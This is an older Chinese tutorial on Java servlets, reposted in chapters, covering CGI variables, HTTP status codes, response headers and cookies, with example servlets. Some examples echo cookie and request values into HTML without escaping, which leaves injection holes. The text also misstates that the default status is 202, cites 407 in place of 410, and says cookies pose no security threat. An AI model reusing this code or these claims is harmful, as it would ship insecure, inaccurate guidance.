REQUEST_METHOD 请求类型。通常是GET或者POST。但偶尔也会出现HEAD，PUT， DELETE，OPTIONS，或者 TRACE. request.getMethod()
SCRIPT_NAME URL中调用Servlet的那一部分，不包含附加路径信息和查询字符串。 request.getServletPath()
SERVER_NAME Web服务器名字。 request.getServerName()
SERVER_PORT 服务器监听的端口。 严格地说，等价表达应该是返回字符串的String.valueOf(request.getServerPort())。但经常使用返回整数值的request.getServerPort()。
SERVER_PROTOCOL 请求命令中的协议名字和版本（即HTTP/1.0或HTTP/1.1）。 request.getProtocol()
SERVER_SOFTWARE Servlet引擎的名字和版本。 getServletContext().getServerInfo()

     6.3 实例：读取CGI变量

     下面这个Servlet创建一个表格，显示除了HTTP_XXX_YYY之外的所有CGI变量。HTTP_XXX_YYY是HTTP请求头信息，请参见上一节介绍。

     ShowCGIVariables.java
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

public class ShowCGIVariables extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String[][] variables =
{ { "AUTH_TYPE", request.getAuthType() },
{ "CONTENT_LENGTH", String.valueOf(request.getContentLength()) },
{ "CONTENT_TYPE", request.getContentType() },
{ "DOCUMENT_ROOT", getServletContext().getRealPath("/") },
{ "PATH_INFO", request.getPathInfo() },
{ "PATH_TRANSLATED", request.getPathTranslated() },
{ "QUERY_STRING", request.getQueryString() },
{ "REMOTE_ADDR", request.getRemoteAddr() },
{ "REMOTE_HOST", request.getRemoteHost() },
{ "REMOTE_USER", request.getRemoteUser() },
{ "REQUEST_METHOD", request.getMethod() },
{ "SCRIPT_NAME", request.getServletPath() },
{ "SERVER_NAME", request.getServerName() },
{ "SERVER_PORT", String.valueOf(request.getServerPort()) },
{ "SERVER_PROTOCOL", request.getProtocol() },
{ "SERVER_SOFTWARE", getServletContext().getServerInfo() }
};
String title = "显示CGI变量";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H1 ALIGN=CENTER＞" + title + "＜/H1＞＼n" +
"＜TABLE BORDER=1 ALIGN=CENTER＞＼n" +
"＜TR BGCOLOR=＼"#FFAD00＼"＞＼n" +
"＜TH＞CGI Variable Name＜TH＞Value");
for(int i=0; i＜variables.length; i++) {
String varName = variables[i][0];
String varValue = variables[i][1];
if (varValue == null)
varValue = "＜I＞Not specified＜/I＞";
out.println("＜TR＞＜TD＞" + varName + "＜TD＞" + varValue);
}
out.println("＜/TABLE＞＜/BODY＞＜/HTML＞");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


七、HTTP应答状态 -- ASP酷技术网

七、HTTP应答状态
作 者 : 仙人掌工作室

     7.1 状态代码概述

     Web服务器响应浏览器或其他客户程序的请求时，其应答一般由以下几个部分组成：一个状态行，几个应答头，一个空行，内容文档。下面是一个最简单的应答：
HTTP/1.1 200 OK
Content-Type: text/plain

Hello World

     状态行包含HTTP版本、状态代码、与状态代码对应的简短说明信息。在大多数情况下，除了Content-Type之外的所有应答头都是可选的。但Content-Type是必需的，它描述的是后面文档的MIME类型。虽然大多数应答都包含一个文档，但也有一些不包含，例如对HEAD请求的应答永远不会附带文档。有许多状态代码实际上用来标识一次失败的请求，这些应答也不包含文档（或只包含一个简短的错误信息说明）。

     Servlet可以利用状态代码来实现许多功能。例如，可以把用户重定向到另一个网站；可以指示出后面的文档是图片、PDF文件或HTML文件；可以告诉用户必须提供密码才能访问文档；等等。这一部分我们将具体讨论各种状态代码的含义以及利用这些代码可以做些什么。

     7.2 设置状态代码

     如前所述，HTTP应答状态行包含HTTP版本、状态代码和对应的状态信息。由于状态信息直接和状态代码相关，而HTTP版本又由服务器确定，因此需要Servlet设置的只有一个状态代码。

     Servlet设置状态代码一般使用HttpServletResponse的setStatus方法。setStatus方法的参数是一个整数（即状态代码），不过为了使得代码具有更好的可读性，可以用HttpServletResponse中定义的常量来避免直接使用整数。这些常量根据HTTP 1.1中的标准状态信息命名，所有的名字都加上了SC前缀（Status Code的缩写）并大写，同时把空格转换成了下划线。也就是说，与状态代码404对应的状态信息是“Not Found”，则HttpServletResponse中的对应常量名字为SC_NOT_FOUND。但有两个例外：和状态代码302对应的常量根据HTTP 1.0命名，而307没有对应的常量。

     设置状态代码并非总是意味着不要再返回文档。例如，虽然大多数服务器返回404应答时会输出简单的“File Not Found”信息，但Servlet也可以定制这个应答。不过，定制应答时应当在通过PrintWriter发送任何内容之前先调用response.setStatus。

     虽然设置状态代码一般使用的是response.setStauts(int)方法，但为了简单起见，HttpServletResponse为两种常见的情形提供了专用方法：sendError方法生成一个404应答，同时生成一个简短的HTML错误信息文档；sendRedirect方法生成一个302应答，同时在Location头中指示新文档的URL。

     7.3 HTTP 1.1状态代码及其含义

     下表显示了常见的HTTP 1.1状态代码以及它们对应的状态信息和含义。

     应当谨慎地使用那些只有HTTP 1.1支持的状态代码，因为许多浏览器还只能够支持HTTP 1.0。如果你使用了HTTP 1.1特有的状态代码，最好能够检查一下请求的HTTP版本号（通过HttpServletRequest的getProtocol方法）。 状态代码 状态信息 含义
100 Continue 初始的请求已经接受，客户应当继续发送请求的其余部分。（HTTP 1.1新）
101 Switching Protocols 服务器将遵从客户的请求转换到另外一种协议（HTTP 1.1新）
200 OK 一切正常，对GET和POST请求的应答文档跟在后面。如果不用setStatus设置状态代码，Servlet默认使用202状态代码。
201 Created 服务器已经创建了文档，Location头给出了它的URL。
202 Accepted 已经接受请求，但处理尚未完成。
203 Non-Authoritative Information 文档已经正常地返回，但一些应答头可能不正确，因为使用的是文档的拷贝（HTTP 1.1新）。
204 No Content 没有新文档，浏览器应该继续显示原来的文档。如果用户定期地刷新页面，而Servlet可以确定用户文档足够新，这个状态代码是很有用的。
205 Reset Content 没有新的内容，但浏览器应该重置它所显示的内容。用来强制浏览器清除表单输入内容（HTTP 1.1新）。
206 Partial Content 客户发送了一个带有Range头的GET请求，服务器完成了它（HTTP 1.1新）。
300 Multiple Choices 客户请求的文档可以在多个位置找到，这些位置已经在返回的文档内列出。如果服务器要提出优先选择，则应该在Location应答头指明。
301 Moved Permanently 客户请求的文档在其他地方，新的URL在Location头中给出，浏览器应该自动地访问新的URL。
302 Found 类似于301，但新的URL应该被视为临时性的替代，而不是永久性的。注意，在HTTP1.0中对应的状态信息是“Moved Temporatily”，而HttpServletResponse中相应的常量是SC_MOVED_TEMPORARILY，而不是SC_FOUND。
出现该状态代码时，浏览器能够自动访问新的URL，因此它是一个很有用的状态代码。为此，Servlet提供了一个专用的方法，即sendRedirect。使用response.sendRedirect(url)比使用response.setStatus(response.SC_MOVED_TEMPORARILY)和response.setHeader("Location",url)更好。这是因为：

首先，代码更加简洁。
第二，使用sendRedirect，Servlet会自动构造一个包含新链接的页面（用于那些不能自动重定向的老式浏览器）。
最后，sendRedirect能够处理相对URL，自动把它们转换成绝对URL。
注意这个状态代码有时候可以和301替换使用。例如，如果浏览器错误地请求http://host/~user（缺少了后面的斜杠），有的服务器返回301，有的则返回302。

严格地说，我们只能假定只有当原来的请求是GET时浏览器才会自动重定向。请参见307。

303 See Other 类似于301/302，不同之处在于，如果原来的请求是POST，Location头指定的重定向目标文档应该通过GET提取（HTTP 1.1新）。
304 Not Modified 客户端有缓冲的文档并发出了一个条件性的请求（一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档）。服务器告诉客户，原来缓冲的文档还可以继续使用。
305 Use Proxy 客户请求的文档应该通过Location头所指明的代理服务器提取（HTTP 1.1新）。
307 Temporary Redirect 和302（Found）相同。许多浏览器会错误地响应302应答进行重定向，即使原来的请求是POST，即使它实际上只能在POST请求的应答是303时才能重定向。由于这个原因，HTTP 1.1新增了307，以便更加清除地区分几个状态代码：当出现303应答时，浏览器可以跟随重定向的GET和POST请求；如果是307应答，则浏览器只能跟随对GET请求的重定向。
注意，HttpServletResponse中没有为该状态代码提供相应的常量。（HTTP 1.1新）

400 Bad Request 请求出现语法错误。
401 Unauthorized 客户试图未经授权访问受密码保护的页面。应答中会包含一个WWW-Authenticate头，浏览器据此显示用户名字/密码对话框，然后在填写合适的Authorization头后再次发出请求。
403 Forbidden 资源不可用。服务器理解客户的请求，但拒绝处理它。通常由于服务器上文件或目录的权限设置导致。
404 Not Found 无法找到指定位置的资源。这也是一个常用的应答，HttpServletResponse专门提供了相应的方法：sendError(message)。
405 Method Not Allowed 请求方法（GET、POST、HEAD、DELETE、PUT、TRACE等）对指定的资源不适用。（HTTP 1.1新）
406 Not Acceptable 指定的资源已经找到，但它的MIME类型和客户在Accpet头中所指定的不兼容（HTTP 1.1新）。
407 Proxy Authentication Required 类似于401，表示客户必须先经过代理服务器的授权。（HTTP 1.1新）
408 Request Timeout 在服务器许可的等待时间内，客户一直没有发出任何请求。客户可以在以后重复同一请求。（HTTP 1.1新）
409 Conflict 通常和PUT请求有关。由于请求和资源的当前状态相冲突，因此请求不能成功。（HTTP 1.1新）
410 Gone 所请求的文档已经不再可用，而且服务器不知道应该重定向到哪一个地址。它和404的不同在于，返回407表示文档永久地离开了指定的位置，而404表示由于未知的原因文档不可用。（HTTP 1.1新）
411 Length Required 服务器不能处理请求，除非客户发送一个Content-Length头。（HTTP 1.1新）
412 Precondition Failed 请求头中指定的一些前提条件失败（HTTP 1.1新）。
413 Request Entity Too Large 目标文档的大小超过服务器当前愿意处理的大小。如果服务器认为自己能够稍后再处理该请求，则应该提供一个Retry-After头（HTTP 1.1新）。
414 Request URI Too Long URI太长（HTTP 1.1新）。
416 Requested Range Not Satisfiable 服务器不能满足客户在请求中指定的Range头。（HTTP 1.1新）
500 Internal Server Error 服务器遇到了意料不到的情况，不能完成客户的请求。
501 Not Implemented 服务器不支持实现请求所需要的功能。例如，客户发出了一个服务器不支持的PUT请求。
502 Bad Gateway 服务器作为网关或者代理时，为了完成请求访问下一个服务器，但该服务器返回了非法的应答。
503 Service Unavailable 服务器由于维护或者负载过重未能应答。例如，Servlet可能在数据库连接池已满的情况下返回503。服务器返回503时可以提供一个Retry-After头。
504 Gateway Timeout 由作为代理或网关的服务器使用，表示不能及时地从远程服务器获得应答。（HTTP 1.1新）
505 HTTP Version Not Supported 服务器不支持请求中所指明的HTTP版本。（HTTP 1.1新）

     7.4 实例：访问多个搜索引擎

     下面这个例子用到了除200之外的另外两个常见状态代码：302和404。302通过sendRedirect方法设置，404通过sendError方法设置。

     在这个例子中，首先出现的HTML表单用来选择搜索引擎、搜索字符串、每页显示的搜索结果数量。表单提交后，Servlet提取这三个变量，按照所选择的搜索引擎的要求构造出包含这些变量的URL，然后把用户重定向到这个URL。如果用户不能正确地选择搜索引擎，或者利用其他表单发送了一个不认识的搜索引擎名字，则返回一个提示搜索引擎找不到的404页面。

     SearchEngines.java

     注意：这个Servlet要用到后面给出的SearchSpec类，SearchSpec的功能是构造适合不同搜索引擎的URL。
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.net.*;

public class SearchEngines extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// getParameter自动解码URL编码的查询字符串。由于我们
// 要把查询字符串发送给另一个服务器，因此再次使用
// URLEncoder进行URL编码
String searchString =
URLEncoder.encode(request.getParameter("searchString"));
String numResults =
request.getParameter("numResults");
String searchEngine =
request.getParameter("searchEngine");
SearchSpec[] commonSpecs = SearchSpec.getCommonSpecs();
for(int i=0; i＜commonSpecs.length; i++) {
SearchSpec searchSpec = commonSpecs[i];
if (searchSpec.getName().equals(searchEngine)) {
String url =
response.encodeURL(searchSpec.makeURL(searchString,
numResults));
response.sendRedirect(url);
return;
}
}
response.sendError(response.SC_NOT_FOUND,
"No recognized search engine specified.");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

     SearchSpec.java
package hall;

class SearchSpec {
private String name, baseURL, numResultsSuffix;

private static SearchSpec[] commonSpecs =
{ new SearchSpec("google",
"http://www.google.com/search?q=",
"&num="),
new SearchSpec("infoseek",
"http://infoseek.go.com/Titles?qt=",
"&nh="),
new SearchSpec("lycos",
"http://lycospro.lycos.com/cgi-bin/pursuit?query=",
"&maxhits="),
new SearchSpec("hotbot",
"http://www.hotbot.com/?MT=",
"&DC=")
};

public SearchSpec(String name,
String baseURL,
String numResultsSuffix) {
this.name = name;
this.baseURL = baseURL;
this.numResultsSuffix = numResultsSuffix;
}

public String makeURL(String searchString, String numResults) {
return(baseURL + searchString + numResultsSuffix + numResults);
}

public String getName() {
return(name);
}

public static SearchSpec[] getCommonSpecs() {
return(commonSpecs);
}
}

     SearchEngines.html

     下面是调用上述Servlet的HTML表单。
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"＞
＜HTML＞
＜HEAD＞
＜TITLE＞访问多个搜索引擎＜/TITLE＞
＜/HEAD＞

＜BODY BGCOLOR="#FDF5E6"＞

＜FORM ACTION="/servlet/hall.SearchEngines"＞
＜CENTER＞
搜索关键字:
＜INPUT TYPE="TEXT" NAME="searchString"＞＜BR＞
每页显示几个查询结果:
＜INPUT TYPE="TEXT" NAME="numResults"
VALUE=10 SIZE=3＞＜BR＞
＜INPUT TYPE="RADIO" NAME="searchEngine"
VALUE="google"＞
Google |
＜INPUT TYPE="RADIO" NAME="searchEngine"
VALUE="infoseek"＞
Infoseek |
＜INPUT TYPE="RADIO" NAME="searchEngine"
VALUE="lycos"＞
Lycos |
＜INPUT TYPE="RADIO" NAME="searchEngine"
VALUE="hotbot"＞
HotBot
＜BR＞
＜INPUT TYPE="SUBMIT" VALUE="Search"＞
＜/CENTER＞
＜/FORM＞

＜/BODY＞
＜/HTML＞

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


八、设置HTTP应答头 -- ASP酷技术网

八、设置HTTP应答头
作 者 : 仙人掌工作室

     8.1 HTTP应答头概述

     Web服务器的HTTP应答一般由以下几项构成：一个状态行，一个或多个应答头，一个空行，内容文档。设置HTTP应答头往往和设置状态行中的状态代码结合起来。例如，有好几个表示“文档位置已经改变”的状态代码都伴随着一个Location头，而401（Unauthorized）状态代码则必须伴随一个WWW-Authenticate头。

     然而，即使在没有设置特殊含义的状态代码时，指定应答头也是很有用的。应答头可以用来完成：设置Cookie，指定修改日期，指示浏览器按照指定的间隔刷新页面，声明文档的长度以便利用持久HTTP连接，……等等许多其他任务。

     设置应答头最常用的方法是HttpServletResponse的setHeader，该方法有两个参数，分别表示应答头的名字和值。和设置状态代码相似，设置应答头应该在发送任何文档内容之前进行。

     setDateHeader方法和setIntHeadr方法专门用来设置包含日期和整数值的应答头，前者避免了把Java时间转换为GMT时间字符串的麻烦，后者则避免了把整数转换为字符串的麻烦。

     HttpServletResponse还提供了许多设置常见应答头的简便方法，如下所示：

setContentType：设置Content-Type头。大多数Servlet都要用到这个方法。
setContentLength：设置Content-Length头。对于支持持久HTTP连接的浏览器来说，这个函数是很有用的。
addCookie：设置一个Cookie（Servlet API中没有setCookie方法，因为应答往往包含多个Set-Cookie头）。
另外，如上节介绍，sendRedirect方法设置状态代码302时也会设置Location头。
     8.2 常见应答头及其含义

     有关HTTP头详细和完整的说明，请参见http://www.w3.org/Protocols/ 规范。

应答头 说明
Allow 服务器支持哪些请求方法（如GET、POST等）。
Content-Encoding 文档的编码（Encode）方法。只有在解码之后才可以得到Content-Type头指定的内容类型。利用gzip压缩文档能够显著地减少HTML文档的下载时间。Java的GZIPOutputStream可以很方便地进行gzip压缩，但只有Unix上的Netscape和Windows上的IE 4、IE 5才支持它。因此，Servlet应该通过查看Accept-Encoding头（即request.getHeader("Accept-Encoding")）检查浏览器是否支持gzip，为支持gzip的浏览器返回经gzip压缩的HTML页面，为其他浏览器返回普通页面。
Content-Length 表示内容长度。只有当浏览器使用持久HTTP连接时才需要这个数据。如果你想要利用持久连接的优势，可以把输出文档写入ByteArrayOutputStram，完成后查看其大小，然后把该值放入Content-Length头，最后通过byteArrayStream.writeTo(response.getOutputStream()发送内容。
Content-Type 表示后面的文档属于什么MIME类型。Servlet默认为text/plain，但通常需要显式地指定为text/html。由于经常要设置Content-Type，因此HttpServletResponse提供了一个专用的方法setContentTyep。
Date 当前的GMT时间。你可以用setDateHeader来设置这个头以避免转换时间格式的麻烦。
Expires 应该在什么时候认为文档已经过期，从而不再缓存它？
Last-Modified 文档的最后改动时间。客户可以通过If-Modified-Since请求头提供一个日期，该请求将被视为一个条件GET，只有改动时间迟于指定时间的文档才会返回，否则返回一个304（Not Modified）状态。Last-Modified也可用setDateHeader方法来设置。
Location 表示客户应当到哪里去提取文档。Location通常不是直接设置的，而是通过HttpServletResponse的sendRedirect方法，该方法同时设置状态代码为302。
Refresh 表示浏览器应该在多少时间之后刷新文档，以秒计。除了刷新当前文档之外，你还可以通过setHeader("Refresh", "5; URL=http://host/path")让浏览器读取指定的页面。
注意这种功能通常是通过设置HTML页面HEAD区的＜META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://host/path"＞实现，这是因为，自动刷新或重定向对于那些不能使用CGI或Servlet的HTML编写者十分重要。但是，对于Servlet来说，直接设置Refresh头更加方便。

注意Refresh的意义是“N秒之后刷新本页面或访问指定页面”，而不是“每隔N秒刷新本页面或访问指定页面”。因此，连续刷新要求每次都发送一个Refresh头，而发送204状态代码则可以阻止浏览器继续刷新，不管是使用Refresh头还是＜META HTTP-EQUIV="Refresh" ...＞。

注意Refresh头不属于HTTP 1.1正式规范的一部分，而是一个扩展，但Netscape和IE都支持它。

Server 服务器名字。Servlet一般不设置这个值，而是由Web服务器自己设置。
Set-Cookie 设置和页面关联的Cookie。Servlet不应使用response.setHeader("Set-Cookie", ...)，而是应使用HttpServletResponse提供的专用方法addCookie。参见下文有关Cookie设置的讨论。
WWW-Authenticate 客户应该在Authorization头中提供什么类型的授权信息？在包含401（Unauthorized）状态行的应答中这个头是必需的。例如，response.setHeader("WWW-Authenticate", "BASIC realm=＼"executives＼"")。
注意Servlet一般不进行这方面的处理，而是让Web服务器的专门机制来控制受密码保护页面的访问（例如.htaccess）。

     8.3 实例：内容改变时自动刷新页面

     下面这个Servlet用来计算大素数。因为计算非常大的数字（例如500位）可能要花不少时间，所以Servlet将立即返回已经找到的结果，同时在后台继续计算。后台计算使用一个优先级较低的线程以避免过多地影响Web服务器的性能。如果计算还没有完成，Servlet通过发送Refresh头指示浏览器在几秒之后继续请求新的内容。

     注意，本例除了说明HTTP应答头的用处之外，还显示了Servlet的另外两个很有价值的功能。首先，它表明Servlet能够处理多个并发的连接，每个都有自己的线程。Servlet维护了一份已有素数计算请求的Vector表，通过查找素数个数（素数列表的长度）和数字个数（每个素数的长度）将当前请求和已有请求相匹配，把所有这些请求同步到这个列表上。第二，本例证明，在Servlet中维持请求之间的状态信息是非常容易的。维持状态信息在传统的CGI编程中是一件很麻烦的事情。由于维持了状态信息，浏览器能够在刷新页面时访问到正在进行的计算过程，同时也使得Servlet能够保存一个有关最近请求结果的列表，当一个新的请求指定了和最近请求相同的参数时可以立即返回结果。

     PrimeNumbers.java

     注意，该Servlet要用到前面给出的ServletUtilities.java。另外还要用到：PrimeList.java，用于在后台线程中创建一个素数的Vector；Primes.java，用于随机生成BigInteger类型的大数字，检查它们是否是素数。（此处略去PrimeList.java和Primes.java的代码。）
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

public class PrimeNumbers extends HttpServlet {
private static Vector primeListVector = new Vector();
private static int maxPrimeLists = 30;

public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
int numPrimes = ServletUtilities.getIntParameter(request, "numPrimes", 50);
int numDigits = ServletUtilities.getIntParameter(request, "numDigits", 120);
PrimeList primeList = findPrimeList(primeListVector, numPrimes, numDigits);
if (primeList == null) {
primeList = new PrimeList(numPrimes, numDigits, true);
synchronized(primeListVector) {
if (primeListVector.size() ＞= maxPrimeLists)
primeListVector.removeElementAt(0);
primeListVector.addElement(primeList);
}
}
Vector currentPrimes = primeList.getPrimes();
int numCurrentPrimes = currentPrimes.size();
int numPrimesRemaining = (numPrimes - numCurrentPrimes);
boolean isLastResult = (numPrimesRemaining == 0);
if (!isLastResult) {
response.setHeader("Refresh", "5");
}
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Some " + numDigits + "-Digit Prime Numbers";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H2 ALIGN=CENTER＞" + title + "＜/H2＞＼n" +
"＜H3＞Primes found with " + numDigits +
" or more digits: " + numCurrentPrimes + ".＜/H3＞");
if (isLastResult)
out.println("＜B＞Done searching.＜/B＞");
else
out.println("＜B＞Still looking for " + numPrimesRemaining +
" more＜BLINK＞...＜/BLINK＞＜/B＞");
out.println("＜OL＞");
for(int i=0; i＜numCurrentPrimes; i++) {
out.println(" ＜LI＞" + currentPrimes.elementAt(i));
}
out.println("＜/OL＞");
out.println("＜/BODY＞＜/HTML＞");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}

// 检查是否存在同类型请求（已经完成，或者正在计算）。
// 如存在，则返回现有结果而不是启动新的后台线程。
private PrimeList findPrimeList(Vector primeListVector,
int numPrimes,
int numDigits) {
synchronized(primeListVector) {
for(int i=0; i＜primeListVector.size(); i++) {
PrimeList primes = (PrimeList)primeListVector.elementAt(i);
if ((numPrimes == primes.numPrimes()) &&
(numDigits == primes.numDigits()))
return(primes);
}
return(null);
}
}
}

     PrimeNumbers.html
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"＞
＜HTML＞
＜HEAD＞
＜TITLE＞大素数计算＜/TITLE＞
＜/HEAD＞
＜CENTER＞
＜BODY BGCOLOR="#FDF5E6"＞
＜FORM ACTION="/servlet/hall.PrimeNumbers"＞
＜B＞要计算几个素数:＜/B＞
＜INPUT TYPE="TEXT" NAME="numPrimes" VALUE=25 SIZE=4＞＜BR＞
＜B＞每个素数的位数:＜/B＞
＜INPUT TYPE="TEXT" NAME="numDigits" VALUE=150 SIZE=3＞＜BR＞
＜INPUT TYPE="SUBMIT" VALUE="开始计算"＞
＜/FORM＞
＜/CENTER＞
＜/BODY＞
＜/HTML＞

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


九、处理Cookie -- ASP酷技术网

九、处理Cookie
作 者 : 仙人掌工作室

     9.1 Cookie概述

     Cookie是服务器发送给浏览器的体积很小的纯文本信息，用户以后访问同一个Web服务器时浏览器会把它们原样发送给服务器。通过让服务器读取它原先保存到客户端的信息，网站能够为浏览者提供一系列的方便，例如在线交易过程中标识用户身份、安全要求不高的场合避免用户重复输入名字和密码、门户网站的主页定制、有针对性地投放广告，等等。

     Cookie的目的就是为用户带来方便，为网站带来增值。虽然有着许多误传，事实上Cookie并不会造成严重的安全威胁。Cookie永远不会以任何方式执行，因此也不会带来病毒或攻击你的系统。另外，由于浏览器一般只允许存放300个Cookie，每个站点最多存放20个Cookie，每个Cookie的大小限制为4 KB，因此Cookie不会塞满你的硬盘，更不会被用作“拒绝服务”攻击手段。

     9.2 Servlet的Cookie API

     要把Cookie发送到客户端，Servlet先要调用new Cookie(name,value)用合适的名字和值创建一个或多个Cookie（2.1节），通过cookie.setXXX设置各种属性（2.2节），通过response.addCookie(cookie)把cookie加入应答头（2.3节）。

     要从客户端读入Cookie，Servlet应该调用request.getCookies()，getCookies()方法返回一个Cookie对象的数组。在大多数情况下，你只需要用循环访问该数组的各个元素寻找指定名字的Cookie，然后对该Cookie调用getValue方法取得与指定名字关联的值，这部分内容将在2.4节讨论。

     9.2.1 创建Cookie

     调用Cookie对象的构造函数可以创建Cookie。Cookie对象的构造函数有两个字符串参数：Cookie名字和Cookie值。名字和值都不能包含空白字符以及下列字符：
[ ] ( ) = , " / ? @ : ;

     9.2.2 读取和设置Cookie属性

     把Cookie加入待发送的应答头之前，你可以查看或设置Cookie的各种属性。下面摘要介绍这些方法：

getComment/setComment
获取/设置Cookie的注释。
getDomain/setDomain
获取/设置Cookie适用的域。一般地，Cookie只返回给与发送它的服务器名字完全相同的服务器。使用这里的方法可以指示浏览器把Cookie返回给同一域内的其他服务器。注意域必须以点开始（例如.sitename.com），非国家类的域（如.com，.edu，.gov）必须包含两个点，国家类的域（如.com.cn，.edu.uk）必须包含三个点。
getMaxAge/setMaxAge
获取/设置Cookie过期之前的时间，以秒计。如果不设置该值，则Cookie只在当前会话内有效，即在用户关闭浏览器之前有效，而且这些Cookie不会保存到磁盘上。参见下面有关LongLivedCookie的说明。
getName/setName
获取/设置Cookie的名字。本质上，名字和值是我们始终关心的两个部分。由于HttpServletRequest的getCookies方法返回的是一个Cookie对象的数组，因此通常要用循环来访问这个数组查找特定名字，然后用getValue检查它的值。
getPath/setPath
获取/设置Cookie适用的路径。如果不指定路径，Cookie将返回给当前页面所在目录及其子目录下的所有页面。这里的方法可以用来设定一些更一般的条件。例如，someCookie.setPath("/")，此时服务器上的所有页面都可以接收到该Cookie。
getSecure/setSecure
获取/设置一个boolean值，该值表示是否Cookie只能通过加密的连接（即SSL）发送。
getValue/setValue
获取/设置Cookie的值。如前所述，名字和值实际上是我们始终关心的两个方面。不过也有一些例外情况，比如把名字作为逻辑标记（也就是说，如果名字存在，则表示true）。
getVersion/setVersion
获取/设置Cookie所遵从的协议版本。默认版本0（遵从原先的Netscape规范）；版本1遵从RFC 2109 ， 但尚未得到广泛的支持。
     9.2.3 在应答头中设置Cookie

     Cookie可以通过HttpServletResponse的addCookie方法加入到Set-Cookie应答头。下面是一个例子：
Cookie userCookie = new Cookie("user", "uid1234");
response.addCookie(userCookie);

     9.2.4 读取保存到客户端的Cookie

     要把Cookie发送到客户端，先要创建Cookie，然后用addCookie发送一个Set-Cookie HTTP应答头。这些内容已经在上面的2.1节介绍。从客户端读取Cookie时调用的是HttpServletRequest的getCookies方法。该方法返回一个与HTTP请求头中的内容对应的Cookie对象数组。得到这个数组之后，一般是用循环访问其中的各个元素，调用getName检查各个Cookie的名字，直至找到目标Cookie。然后对这个目标Cookie调用getValue，根据获得的结果进行其他处理。

     上述处理过程经常会遇到，为方便计下面我们提供一个getCookieValue方法。只要给出Cookie对象数组、Cookie名字和默认值，getCookieValue方法就会返回匹配指定名字的Cookie值，如果找不到指定Cookie，则返回默认值。

     9.3 几个Cookie工具函数

     下面是几个工具函数。这些函数虽然简单，但是，在和Cookie打交道的时候很有用。

     9.3.1 获取指定名字的Cookie值

     该函数是ServletUtilities.java的一部分。getCookieValue通过循环依次访问Cookie对象数组的各个元素，寻找是否有指定名字的Cookie，如找到，则返回该Cookie的值；否则，返回参数中给出的默认值。getCookieValue能够在一定程度上简化Cookie值的提取。
public static String getCookieValue(Cookie[] cookies,
String cookieName,
String defaultValue) {
for(int i=0; i＜cookies.length; i++) {
Cookie cookie = cookies[i];
if (cookieName.equals(cookie.getName()))
return(cookie.getValue());
}
return(defaultValue);
}

     9.3.2自动保存的Cookie

     下面是LongLivedCookie类的代码。如果你希望Cookie能够在浏览器退出的时候自动保存下来，则可以用这个LongLivedCookie类来取代标准的Cookie类。
package hall;

import javax.servlet.http.*;

public class LongLivedCookie extends Cookie {
public static final int SECONDS_PER_YEAR = 60*60*24*365;
public LongLivedCookie(String name, String value) {
super(name, value);
setMaxAge(SECONDS_PER_YEAR);
}
}

     9.4.实例：定制的搜索引擎界面

     下面也是一个搜索引擎界面的例子，通过修改前面HTTP状态代码的例子得到。在这个Servlet中，用户界面是动态生成而不是由静态HTML文件提供的。Servlet除了负责读取表单数据并把它们发送给搜索引擎之外，还要把包含表单数据的Cookie发送给客户端。以后客户再次访问同一表单时，这些Cookie的值将用来预先填充表单，使表单自动显示最近使用过的数据。

     SearchEnginesFrontEnd.java

     该Servlet构造一个主要由表单构成的用户界面。第一次显示的时候，它和前面用静态HTML页面提供的界面差不多。然而，用户选择的值将被保存到Cookie（本页面将数据发送到CustomizedSearchEngines Servlet，由后者设置Cookie）。用户以后再访问同一页面时，即使浏览器是退出之后再启动，表单中也会自动填好上一次搜索所填写的内容。

     注意该Servlet用到了ServletUtilities.java，其中getCookieValue前面已经介绍过，headWithTitle用于生成HTML页面的一部分。另外，这里也用到了前面已经说明的LongLiveCookie类，我们用它来创建作废期限很长的Cookie。
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.net.*;

public class SearchEnginesFrontEnd extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
Cookie[] cookies = request.getCookies();
String searchString =
ServletUtilities.getCookieValue(cookies,
"searchString",
"Java Programming");
String numResults =
ServletUtilities.getCookieValue(cookies,
"numResults",
"10");
String searchEngine =
ServletUtilities.getCookieValue(cookies,
"searchEngine",
"google");
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "Searching the Web";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H1 ALIGN=＼"CENTER＼"＞Searching the Web＜/H1＞＼n" +
"＼n" +
"＜FORM ACTION=＼"/servlet/hall.CustomizedSearchEngines＼"＞＼n" +
"＜CENTER＞＼n" +
"Search String:＼n" +
"＜INPUT TYPE=＼"TEXT＼" NAME=＼"searchString＼"＼n" +
" VALUE=＼"" + searchString + "＼"＞＜BR＞＼n" +
"Results to Show Per Page:＼n" +
"＜INPUT TYPE=＼"TEXT＼" NAME=＼"numResults＼"＼n" +
" VALUE=" + numResults + " SIZE=3＞＜BR＞＼n" +
